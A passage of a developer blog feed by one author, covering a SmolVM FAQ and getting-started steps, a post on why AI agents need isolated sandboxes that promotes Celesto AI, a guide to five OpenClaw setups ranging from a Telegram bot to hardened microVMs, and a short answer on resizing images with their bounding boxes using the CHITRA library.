&lt;p&gt;Yes. On Linux, SmolVM uses Firecracker with KVM. On macOS, it uses QEMU with the Hypervisor framework. The Python API is identical across both backends, so your code is portable.&lt;/p&gt;

&lt;h3&gt;
  
  
  What about Windows?
&lt;/h3&gt;

&lt;p&gt;Windows isn't supported yet. WSL2 works, but native Windows support is on the roadmap.&lt;/p&gt;

&lt;h3&gt;
  
  
  Is SmolVM production-ready?
&lt;/h3&gt;

&lt;p&gt;SmolVM is in active development (currently v0.0.3). It's being used in production by early design partners. For mission-critical workloads, we recommend pinning to a specific version and running a staging deploy first. See the &lt;a href="https://docs.celesto.ai" rel="noopener noreferrer"&gt;installation docs&lt;/a&gt; for golden-AMI patterns and Firecracker version pinning.&lt;/p&gt;

&lt;h3&gt;
  
  
  Can I run GPU workloads inside SmolVM?
&lt;/h3&gt;

&lt;p&gt;Not in the current release. GPU passthrough for Firecracker is experimental upstream, and SmolVM doesn't expose it yet. For CPU-bound code (which is most agent code — data manipulation, API calls, shell commands, browser automation), SmolVM is a great fit. For GPU inference, keep that on the host.&lt;/p&gt;

&lt;h3&gt;
  
  
  What's the overhead per sandbox?
&lt;/h3&gt;

&lt;p&gt;A default SmolVM uses ~128MB of RAM and a few hundred MB of disk. You can run dozens of microVMs on a single host without breaking a sweat, which is the whole point of "micro" in microVM.&lt;/p&gt;

&lt;h3&gt;
  
  
  How does this fit with frameworks like LangChain or Agentor?
&lt;/h3&gt;

&lt;p&gt;SmolVM is a runtime, not a framework. Wrap &lt;code&gt;SmolVM().run(...)&lt;/code&gt; as a tool in whatever agent framework you're using. We designed it to be framework-agnostic so it plugs into existing agent stacks.&lt;/p&gt;




&lt;h2&gt;
  
  
  Getting started
&lt;/h2&gt;

&lt;p&gt;The fastest path:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Install:&lt;/strong&gt; &lt;code&gt;pip install smolvm&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Run host setup:&lt;/strong&gt; &lt;code&gt;./scripts/system-setup.sh&lt;/code&gt; (Linux) or &lt;code&gt;./scripts/system-setup-macos.sh&lt;/code&gt; (macOS)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Try the quickstart&lt;/strong&gt; above&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Star the repo&lt;/strong&gt; on &lt;a href="https://github.com/CelestoAI/SmolVM" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; so you can find it later (and so we know it's useful — it helps us prioritize)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Read the docs&lt;/strong&gt; at &lt;a href="https://docs.celesto.ai" rel="noopener noreferrer"&gt;docs.celesto.ai&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;SmolVM is Apache 2.0 licensed and free to use in commercial projects. It's built and maintained by &lt;a href="https://celesto.ai" rel="noopener noreferrer"&gt;Celesto AI&lt;/a&gt;, where we're working on production infrastructure for AI agents.&lt;/p&gt;

&lt;p&gt;If you're building something interesting on top of it — or you hit something that doesn't work — open an issue or reach out. We read everything.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Building with AI agents? We'd love to hear what you're working on. Drop a comment below or find us on &lt;a href="https://github.com/CelestoAI/SmolVM" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>opensource</category>
      <category>showdev</category>
      <category>python</category>
    </item>
    <item>
      <title>Why AI Agents Need Sandboxes — And What to Look For</title>
      <dc:creator>Aniket Maurya</dc:creator>
      <pubDate>Sun, 12 Apr 2026 13:16:40 +0000</pubDate>
      <link>https://forem.com/aniketmaurya/why-ai-agents-need-sandboxes-and-what-to-look-for-e37</link>
      <guid>https://forem.com/aniketmaurya/why-ai-agents-need-sandboxes-and-what-to-look-for-e37</guid>
      <description>&lt;p&gt;AI agents have evolved from simple chatbots into autonomous systems that can execute code, navigate browsers, install packages, and interact with live services. With that power comes a serious question: where should these agents actually run?&lt;/p&gt;

&lt;p&gt;The answer is a &lt;strong&gt;sandbox&lt;/strong&gt; — a temporary, isolated computing environment built specifically for the agent. Think of it as giving the agent its own disposable computer rather than handing it the keys to yours.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Risk of Running Agents on Your Machine
&lt;/h2&gt;

&lt;p&gt;When an AI agent executes a shell command or installs a dependency, those are real operations with real consequences. Running them directly on your workstation opens the door to a range of problems:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Prompt injection attacks&lt;/strong&gt; could trick the agent into executing malicious commands that affect your actual system.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Credential leakage&lt;/strong&gt; becomes dangerous when your real API keys and tokens are accessible in the environment.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Accidental data loss&lt;/strong&gt; can happen if the agent overwrites or deletes files on your machine.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Supply chain compromises&lt;/strong&gt; from installing a tampered package could propagate to your host.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Production incidents&lt;/strong&gt; can occur if the agent inadvertently connects to and modifies a live system.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A sandbox eliminates these risks by containing all agent activity within a boundary. If something goes wrong, you simply discard the sandbox and spin up a new one.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Makes a True Agent Sandbox?
&lt;/h2&gt;

&lt;p&gt;Not every virtual machine or container qualifies as an agent sandbox. There are specific capabilities that differentiate a purpose-built agent sandbox from general-purpose compute:&lt;/p&gt;

&lt;h3&gt;
  
  
  Fast Startup
&lt;/h3&gt;

&lt;p&gt;Agent sandboxes need to launch in milliseconds, not seconds. If it takes 30 seconds to boot an environment, developers will bypass it entirely and run things locally. The target should be roughly 200–300ms spin-up times so that creating a fresh environment per task feels seamless.&lt;/p&gt;

&lt;h3&gt;
  
  
  Pause and Resume
&lt;/h3&gt;

&lt;p&gt;Agents spend a lot of time waiting — for user input, for API responses, or between steps in a workflow. A good sandbox can be paused during idle periods and resumed instantly, saving compute costs while preserving full state.&lt;/p&gt;

&lt;h3&gt;
  
  
  Snapshot and Restore
&lt;/h3&gt;

&lt;p&gt;This is essentially a save-point system. A snapshot captures the entire state of the sandbox at a given moment (filesystem, processes, connections, everything). If the agent takes a wrong turn, you roll back to the snapshot instead of starting over from scratch. This is invaluable for iterative agent workflows.&lt;/p&gt;

&lt;h2&gt;
  
  
  Nice-to-Have Capabilities
&lt;/h2&gt;

&lt;p&gt;Beyond the essentials, there are a few features that make sandboxes significantly more practical:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Internet access controls&lt;/strong&gt; — the ability to allow, block, or whitelist network traffic on a per-sandbox basis.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pre-built environments&lt;/strong&gt; — base images with common toolchains (Python, Node.js, browsers) pre-installed to skip repetitive setup.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Live view&lt;/strong&gt; — real-time visibility into what the agent is doing inside the sandbox (terminal, browser, screen), which helps with debugging and building trust.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  A Sandbox Built for AI Agents: Celesto AI
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Disclosure: I'm the founder of &lt;a href="https://celesto.ai" rel="noopener noreferrer"&gt;Celesto AI&lt;/a&gt;, so take this with the appropriate grain of salt — but I built it precisely because I ran into these problems firsthand.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://celesto.ai" rel="noopener noreferrer"&gt;Celesto AI&lt;/a&gt; is a sandbox platform designed specifically for AI agents. It provides isolated cloud environments that spin up in milliseconds, with built-in support for pause/resume, snapshots, and fine-grained internet access controls. Whether you need an ephemeral sandbox for a one-off code execution task or a persistent environment for a multi-step agent workflow, Celesto handles both patterns out of the box.&lt;/p&gt;

&lt;p&gt;The goal is to make the safe path the default path — so developers and agent frameworks don't have to choose between security and speed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Ephemeral vs. Persistent Sandboxes
&lt;/h2&gt;

&lt;p&gt;There are two main patterns for sandbox lifecycle management. &lt;strong&gt;Ephemeral sandboxes&lt;/strong&gt; are created for a single task and destroyed immediately after. They offer the strongest security guarantees since nothing persists between runs. &lt;strong&gt;Persistent sandboxes&lt;/strong&gt; stay alive across multiple steps, which is useful for multi-stage tasks where the agent needs to build on previous work.&lt;/p&gt;

&lt;p&gt;Most mature sandbox platforms support both patterns, letting you choose the right one for each use case.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaway
&lt;/h2&gt;

&lt;p&gt;As AI agents become more capable, the environments they operate in matter more than ever. Sandboxes provide a straightforward way to let agents do meaningful work without risking your real infrastructure. The principle is simple: give the agent its own computer, not yours.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;This post was inspired by &lt;a href="https://celesto.ai/blog/posts/ai-agent-security/what-are-ai-agent-sandboxes/" rel="noopener noreferrer"&gt;What are AI Agent Sandboxes&lt;/a&gt; on the Celesto AI blog.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>programming</category>
      <category>agents</category>
    </item>
    <item>
      <title>[Boost]</title>
      <dc:creator>Aniket Maurya</dc:creator>
      <pubDate>Wed, 04 Feb 2026 12:13:24 +0000</pubDate>
      <link>https://forem.com/aniketmaurya/-5fca</link>
      <guid>https://forem.com/aniketmaurya/-5fca</guid>
      <description>&lt;div class="ltag__link--embedded"&gt;
  &lt;div class="crayons-story "&gt;
  &lt;a href="https://dev.to/aniketmaurya/5-ways-to-set-up-openclaw-aka-clawdbot-moltbot-and-actually-use-it-day-to-day-2fhn" class="crayons-story__hidden-navigation-link"&gt;5 Ways to Set Up OpenClaw (aka ClawdBot / MoltBot) — and Actually Use It Day-to-Day&lt;/a&gt;


  &lt;div class="crayons-story__body crayons-story__body-full_post"&gt;
    &lt;div class="crayons-story__top"&gt;
      &lt;div class="crayons-story__meta"&gt;
        &lt;div class="crayons-story__author-pic"&gt;

          &lt;a href="/aniketmaurya" class="crayons-avatar  crayons-avatar--l  "&gt;
            &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F274492%2F32b0da35-e0ea-43d3-945f-e44ee4dd94de.jpg" alt="aniketmaurya profile" class="crayons-avatar__image" width="400" height="400"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
        &lt;div&gt;
          &lt;div&gt;
            &lt;a href="/aniketmaurya" class="crayons-story__secondary fw-medium m:hidden"&gt;
              Aniket Maurya
            &lt;/a&gt;
            &lt;div class="profile-preview-card relative mb-4 s:mb-0 fw-medium hidden m:inline-block"&gt;
              
                Aniket Maurya
                
              
              &lt;div id="story-author-preview-content-3231475" class="profile-preview-card__content crayons-dropdown branded-7 p-4 pt-0"&gt;
                &lt;div class="gap-4 grid"&gt;
                  &lt;div class="-mt-4"&gt;
                    &lt;a href="/aniketmaurya" class="flex"&gt;
                      &lt;span class="crayons-avatar crayons-avatar--xl mr-2 shrink-0"&gt;
                        &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F274492%2F32b0da35-e0ea-43d3-945f-e44ee4dd94de.jpg" class="crayons-avatar__image" alt="" width="400" height="400"&gt;
                      &lt;/span&gt;
                      &lt;span class="crayons-link crayons-subtitle-2 mt-5"&gt;Aniket Maurya&lt;/span&gt;
                    &lt;/a&gt;
                  &lt;/div&gt;
                  &lt;div class="print-hidden"&gt;
                    
                      Follow
                    
                  &lt;/div&gt;
                  &lt;div class="author-preview-metadata-container"&gt;&lt;/div&gt;
                &lt;/div&gt;
              &lt;/div&gt;
            &lt;/div&gt;

          &lt;/div&gt;
          &lt;a href="https://dev.to/aniketmaurya/5-ways-to-set-up-openclaw-aka-clawdbot-moltbot-and-actually-use-it-day-to-day-2fhn" class="crayons-story__tertiary fs-xs"&gt;&lt;time&gt;Feb 4&lt;/time&gt;&lt;span class="time-ago-indicator-initial-placeholder"&gt;&lt;/span&gt;&lt;/a&gt;
        &lt;/div&gt;
      &lt;/div&gt;

    &lt;/div&gt;

    &lt;div class="crayons-story__indention"&gt;
      &lt;h2 class="crayons-story__title crayons-story__title-full_post"&gt;
        &lt;a href="https://dev.to/aniketmaurya/5-ways-to-set-up-openclaw-aka-clawdbot-moltbot-and-actually-use-it-day-to-day-2fhn" id="article-link-3231475"&gt;
          5 Ways to Set Up OpenClaw (aka ClawdBot / MoltBot) — and Actually Use It Day-to-Day
        &lt;/a&gt;
      &lt;/h2&gt;
        &lt;div class="crayons-story__tags"&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/ai"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;ai&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/openclaw"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;openclaw&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/tutorial"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;tutorial&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/productivity"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;productivity&lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="crayons-story__bottom"&gt;
        &lt;div class="crayons-story__details"&gt;
          &lt;a href="https://dev.to/aniketmaurya/5-ways-to-set-up-openclaw-aka-clawdbot-moltbot-and-actually-use-it-day-to-day-2fhn" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left"&gt;
            &lt;div class="multiple_reactions_aggregate"&gt;
              &lt;span class="multiple_reactions_icons_container"&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/fire-f60e7a582391810302117f987b22a8ef04a2fe0df7e3258a5f49332df1cec71e.svg" width="24" height="24"&gt;
                  &lt;/span&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/raised-hands-74b2099fd66a39f2d7eed9305ee0f4553df0eb7b4f11b01b6b1b499973048fe5.svg" width="24" height="24"&gt;
                  &lt;/span&gt;
                  &lt;span class="crayons_icon_container"&gt;
                    &lt;img src="https://assets.dev.to/assets/sparkle-heart-5f9bee3767e18deb1bb725290cb151c25234768a0e9a2bd39370c382d02920cf.svg" width="24" height="24"&gt;
                  &lt;/span&gt;
              &lt;/span&gt;
              &lt;span class="aggregate_reactions_counter"&gt;5&lt;span class="hidden s:inline"&gt; reactions&lt;/span&gt;&lt;/span&gt;
            &lt;/div&gt;
          &lt;/a&gt;
            &lt;a href="https://dev.to/aniketmaurya/5-ways-to-set-up-openclaw-aka-clawdbot-moltbot-and-actually-use-it-day-to-day-2fhn#comments" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left flex items-center"&gt;
              Comments


              2&lt;span class="hidden s:inline"&gt; comments&lt;/span&gt;
            &lt;/a&gt;
        &lt;/div&gt;
        &lt;div class="crayons-story__save"&gt;
          &lt;small class="crayons-story__tertiary fs-xs mr-2"&gt;
            3 min read
          &lt;/small&gt;
            
              &lt;span class="bm-initial"&gt;
                

              &lt;/span&gt;
              &lt;span class="bm-success"&gt;
                

              &lt;/span&gt;
            
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;


</description>
      <category>ai</category>
      <category>openclaw</category>
      <category>tutorial</category>
      <category>productivity</category>
    </item>
    <item>
      <title>5 Ways to Set Up OpenClaw (aka ClawdBot / MoltBot) — and Actually Use It Day-to-Day</title>
      <dc:creator>Aniket Maurya</dc:creator>
      <pubDate>Wed, 04 Feb 2026 12:10:58 +0000</pubDate>
      <link>https://forem.com/aniketmaurya/5-ways-to-set-up-openclaw-aka-clawdbot-moltbot-and-actually-use-it-day-to-day-2fhn</link>
      <guid>https://forem.com/aniketmaurya/5-ways-to-set-up-openclaw-aka-clawdbot-moltbot-and-actually-use-it-day-to-day-2fhn</guid>
      <description>&lt;p&gt;Most “setup guides” jump straight into commands. That’s backwards.&lt;/p&gt;

&lt;p&gt;This blog will help you get connected to an OpenClaw bot with minimal setup, you can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;respond from phone,&lt;/li&gt;
&lt;li&gt;run tasks (code, reminders, web research),&lt;/li&gt;
&lt;li&gt;stay secure,&lt;/li&gt;
&lt;li&gt;without spending a whole weekend to set it up.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So first: the &lt;strong&gt;real problem&lt;/strong&gt; is choosing the &lt;em&gt;right&lt;/em&gt; setup for how you’ll use it.&lt;/p&gt;

&lt;p&gt;Below are &lt;strong&gt;five practical setups&lt;/strong&gt; (from easiest to most powerful), each framed around the pain it solves.&lt;/p&gt;




&lt;h2&gt;
  
  
  1) The “Phone-First” Setup: Telegram DM Bot (fastest time-to-value)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The problem it solves
&lt;/h3&gt;

&lt;p&gt;You want to talk to your agent from anywhere—especially your phone—without opening a laptop, VPN, or SSH app. You also want a clean “inbox-like” experience: quick prompts, quick replies.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why this setup works
&lt;/h3&gt;

&lt;p&gt;Telegram is lightweight, reliable, and behaves like a “command line for humans.” It’s ideal for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;quick questions (“summarize this”, “draft a message”)&lt;/li&gt;
&lt;li&gt;reminders (“remind me at 11am”)&lt;/li&gt;
&lt;li&gt;lightweight ops (“check RAM”, “list files”, “run a script”)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  What it looks like
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;You create a Telegram bot (BotFather)&lt;/li&gt;
&lt;li&gt;OpenClaw connects to it&lt;/li&gt;
&lt;li&gt;You DM your assistant like a person&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Best for:&lt;/strong&gt; personal assistants, founders, solo builders, “run my life from my phone” workflows.&lt;/p&gt;

&lt;p&gt;Celesto AI provides a no-setup, no-server solution for &lt;em&gt;humans&lt;/em&gt;! Get OpenClaw on your Telegram for free &lt;a href="https://celesto.ai/openclaw" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  2) The “I Want It Everywhere” Setup: Multi-Channel Bot (Telegram + Discord/Slack)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The problem it solves
&lt;/h3&gt;

&lt;p&gt;Your work happens in communities and team spaces—not just DMs. You want the agent where decisions happen:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Discord communities&lt;/li&gt;
&lt;li&gt;Slack team channels&lt;/li&gt;
&lt;li&gt;group chats where people collaborate&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Why this setup works
&lt;/h3&gt;

&lt;p&gt;A multi-channel setup turns OpenClaw into an “ambient operator”:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;answers when mentioned&lt;/li&gt;
&lt;li&gt;summarizes threads&lt;/li&gt;
&lt;li&gt;drafts responses&lt;/li&gt;
&lt;li&gt;keeps notes&lt;/li&gt;
&lt;li&gt;can be restricted by allowlists / mention-only behavior&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  What it looks like
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;One OpenClaw instance&lt;/li&gt;
&lt;li&gt;Multiple channel plugins enabled&lt;/li&gt;
&lt;li&gt;Rules like “only respond on @mention” to avoid being spammy&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Best for:&lt;/strong&gt; startup teams, communities, internal “ops bot” usage.&lt;/p&gt;




&lt;h2&gt;
  
  
  3) The “Automation Brain” Setup: Scheduled Reminders + Cron Jobs
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The problem it solves
&lt;/h3&gt;

&lt;p&gt;You don’t need a chatbot. You need a system that remembers.&lt;br&gt;
Following up, applying, sending that DM, doing the weekly check-in—humans drop these constantly.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why this setup works
&lt;/h3&gt;

&lt;p&gt;OpenClaw can schedule exact-time tasks (one-shot or recurring) that fire without you remembering:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;“Tomorrow after noon, remind me to apply”&lt;/li&gt;
&lt;li&gt;“Tuesday 10am: send a DM”&lt;/li&gt;
&lt;li&gt;“Every weekday at 9:30: give me today’s priorities”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is where assistants become &lt;strong&gt;infrastructure&lt;/strong&gt;, not conversation.&lt;/p&gt;

&lt;h3&gt;
  
  
  What it looks like
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;You tell OpenClaw what/when&lt;/li&gt;
&lt;li&gt;It schedules a job (cron)&lt;/li&gt;
&lt;li&gt;It pings you at the right moment with context and links&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Best for:&lt;/strong&gt; founders, ADHD-friendly workflows, anyone juggling deals + meetings.&lt;/p&gt;




&lt;h2&gt;
  
  
  4) The “Coding Agent” Setup: Workspace + Exec (turn it into a real dev assistant)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The problem it solves
&lt;/h3&gt;

&lt;p&gt;You want more than advice—you want actual output:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;code changes&lt;/li&gt;
&lt;li&gt;scripts run&lt;/li&gt;
&lt;li&gt;files edited&lt;/li&gt;
&lt;li&gt;repos managed&lt;/li&gt;
&lt;li&gt;quick prototypes built&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Why this setup works
&lt;/h3&gt;

&lt;p&gt;When OpenClaw has:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a workspace directory&lt;/li&gt;
&lt;li&gt;permission to run commands safely
…it becomes a practical coding agent that can &lt;em&gt;do the work&lt;/em&gt;, not just talk about it.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  What it looks like
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;You point OpenClaw at a workspace (repo or project folder)&lt;/li&gt;
&lt;li&gt;It can edit files and run tests/build commands&lt;/li&gt;
&lt;li&gt;You review results (diffs, logs, artifacts)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Best for:&lt;/strong&gt; building product fast, automating repetitive dev tasks, “ship while on your phone.”&lt;/p&gt;




&lt;h2&gt;
  
  
  5) The “Security-First” Setup: Hard Sandbox (gVisor / MicroVMs / strict mounts)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The problem it solves
&lt;/h3&gt;

&lt;p&gt;If you’re running agents that can execute commands, your threat model changes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;“What if the agent (or a dependency) is compromised?”&lt;/li&gt;
&lt;li&gt;“What if a prompt injection tries to exfiltrate secrets?”&lt;/li&gt;
&lt;li&gt;“What if a container escape happens?”&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Why this setup works
&lt;/h3&gt;

&lt;p&gt;Containers are convenient, but they share the host kernel. If you want serious isolation, you tighten the boundaries:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Common patterns:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;gVisor&lt;/strong&gt;: syscall interception; stronger isolation than vanilla containers with less overhead than full VMs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MicroVMs (e.g., Firecracker)&lt;/strong&gt;: VM boundary; stronger isolation for “run untrusted stuff” workloads.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Read-only containers + minimal mounts&lt;/strong&gt;: only mount what’s needed, no host root access, no ambient credentials.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Split duties&lt;/strong&gt;: keep “internet browsing” separate from “has secrets” workloads.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  What it looks like
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Run OpenClaw with strict filesystem access (only specific mounted directories)&lt;/li&gt;
&lt;li&gt;Use hardened runtime (gVisor / MicroVM) if you’re serious about untrusted execution&lt;/li&gt;
&lt;li&gt;Keep keys out of chat logs; use env vars/secrets management&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Best for:&lt;/strong&gt; security-conscious builders, anyone running agents on a machine with real credentials.&lt;/p&gt;




&lt;h1&gt;
  
  
  Which One Should You Pick?
&lt;/h1&gt;

&lt;p&gt;If you want a simple rule:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Fastest useful&lt;/strong&gt;: Telegram DM bot (&lt;a href="https://celesto.ai/openclaw" rel="noopener noreferrer"&gt;Setup #1&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Team usage&lt;/strong&gt;: Multi-channel (Setup #2)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Life admin superpower&lt;/strong&gt;: Cron reminders (Setup #3)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Build products&lt;/strong&gt;: Workspace + exec (Setup #4)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;High-trust environment / real secrets&lt;/strong&gt;: Security-first sandboxing (Setup #5)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can also combine them: most serious setups do.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>openclaw</category>
      <category>tutorial</category>
      <category>productivity</category>
    </item>
    <item>
      <title>Answer: Resizing image and its bounding box</title>
      <dc:creator>Aniket Maurya</dc:creator>
      <pubDate>Sun, 04 Jul 2021 04:57:45 +0000</pubDate>
      <link>https://forem.com/aniketmaurya/answer-resizing-image-and-its-bounding-box-5c5d</link>
      <guid>https://forem.com/aniketmaurya/answer-resizing-image-and-its-bounding-box-5c5d</guid>
      <description>&lt;div class="ltag__stackexchange--container"&gt;
  &lt;div class="ltag__stackexchange--title-container"&gt;
    
      &lt;div class="ltag__stackexchange--title"&gt;
        &lt;div class="ltag__stackexchange--header"&gt;
          &lt;img src="https://assets.dev.to/assets/stackoverflow-logo-b42691ae545e4810b105ee957979a853a696085e67e43ee14c5699cf3e890fb4.svg" alt=""&gt;
          &lt;a href="https://stackoverflow.com/questions/49466033/resizing-image-and-its-bounding-box/68241813#68241813" rel="noopener noreferrer"&gt;
            &lt;span class="title-flare"&gt;answer&lt;/span&gt; re: Resizing image and its bounding box
          &lt;/a&gt;
        &lt;/div&gt;
        &lt;div class="ltag__stackexchange--post-metadata"&gt;
          &lt;span&gt;Jul  4 '21&lt;/span&gt;
        &lt;/div&gt;
      &lt;/div&gt;
      &lt;a class="ltag__stackexchange--score-container" href="https://stackoverflow.com/questions/49466033/resizing-image-and-its-bounding-box/68241813#68241813" rel="noopener noreferrer"&gt;
        &lt;img src="https://assets.dev.to/assets/stackexchange-arrow-up-eff2e2849e67d156181d258e38802c0b57fa011f74164a7f97675ca3b6ab756b.svg" alt=""&gt;
        &lt;div class="ltag__stackexchange--score-number"&gt;
          5
        &lt;/div&gt;
        &lt;img src="https://assets.dev.to/assets/stackexchange-arrow-down-4349fac0dd932d284fab7e4dd9846f19a3710558efde0d2dfd05897f3eeb9aba.svg" alt=""&gt;
      &lt;/a&gt;
    
  &lt;/div&gt;
  &lt;div class="ltag__stackexchange--body"&gt;
    
&lt;p&gt;Another way of doing this is to use &lt;a href="https://github.com/aniketmaurya/chitra" rel="noreferrer noopener"&gt;CHITRA&lt;/a&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;image = Chitra(img_path, box, label)
# Chitra can rescale your bounding box automatically based on the new image size.
image.resize_image_with_bbox((224, 224))

print('rescaled bbox:', image.bounding_boxes)
plt.imshow(image.draw_boxes())
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;a href="https://chitra.readthedocs.io/en/latest/" rel="noreferrer noopener"&gt;https://chitra.readthedocs.io/en/latest/&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;pip install chitra&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;/div&gt;
&lt;br&gt;
  &lt;div class="ltag__stackexchange--btn--container"&gt;
&lt;br&gt;
    &lt;a href="https://stackoverflow.com/questions/49466033/resizing-image-and-its-bounding-box/68241813#68241813" class="ltag__stackexchange--btn" rel="noopener noreferrer"&gt;Open Full Answer&lt;/a&gt;&lt;br&gt;
  &lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;
&lt;br&gt;&lt;br&gt;
Resizing image and bounding box separately can be pain and irritating. CHITRA is an image utility library for Deep Learning that can rescale your bounding box automatically based on the new image size.

&lt;p&gt;📝 Docs: &lt;a href="https://chitra.readthedocs.io/en/latest/" rel="noopener noreferrer"&gt;https://chitra.readthedocs.io/en/latest/&lt;/a&gt;&lt;/p&gt;

</description>
      <category>deeplearning</category>
      <category>objectdetection</category>
